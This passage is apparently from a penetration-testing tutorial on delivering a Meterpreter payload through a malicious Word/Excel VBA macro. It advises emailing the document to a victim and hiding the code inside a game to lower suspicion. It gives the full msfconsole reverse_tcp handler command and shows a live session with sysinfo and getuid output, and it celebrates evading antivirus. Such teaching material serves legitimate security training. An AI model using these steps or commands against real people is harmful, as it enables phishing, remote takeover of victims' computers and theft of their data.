

Word/Excel 2003: Tools -> Macros -> Visual Basic Editor

Word/Excel 2007: View Macros -> then place a name like "moo" and select "create". This will open up the visual basic editor. Paste the output of the first portion of the payload script into the editor, save it and then paste the remainder of the script into the word document itself. This is when you would perform the client-side attack by emailing this Word document to someone. In order to keep user suspicion low, try embedding the code in one of the many Word/Excel games that are available on the Internet. That way, the user is happily playing the game while you are working in the background. This gives you some extra time to migrate to another process if you are using Meterpreter as a payload. Here we give a generic name to the macro. Before we send off our malicious document to our victim, we first need to set up our Metasploit listener. root@kali:# msfconsole -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.1.101; set LPORT 8080; run; exit -y"

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=[ metasploit v4.11.4-2015071402      ]
+ -- --=[ 1467 exploits - 840 auxiliary - 232 post      ]
+ -- --=[ 432 payloads - 37 encoders - 8 nops      ]

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PAYLOAD => windows/meterpreter/reverse_tcp

LHOST => 192.168.1.101

LPORT => 8080

[*] Started reverse handler on 192.168.1.101:8080

[*] Starting the payload handler... Now we can test out the document by opening it up and check back to where we have our Metasploit exploit/multi/handler listener: [*] Sending stage (749056 bytes) to 192.168.1.150

[*] Meterpreter session 1 opened (192.168.1.101:8080 -> 192.168.1.150:52465) at Thu Nov 25 16:54:29 -0700 2010

meterpreter > sysinfo

Computer: XEN-WIN7-PROD

OS : Windows 7 (Build 7600,).

Arch : x64 (Current Process is WOW64)

Language: en_US

meterpreter > getuid

Server username: xen-win7-prod\ldookie

meterpreter > Success! We have a Meterpreter shell right to the system that opened the document, and best of all, it doesn't get picked up by anti-virus!!! Next MSF Post Exploitation Prev Client Side Exploits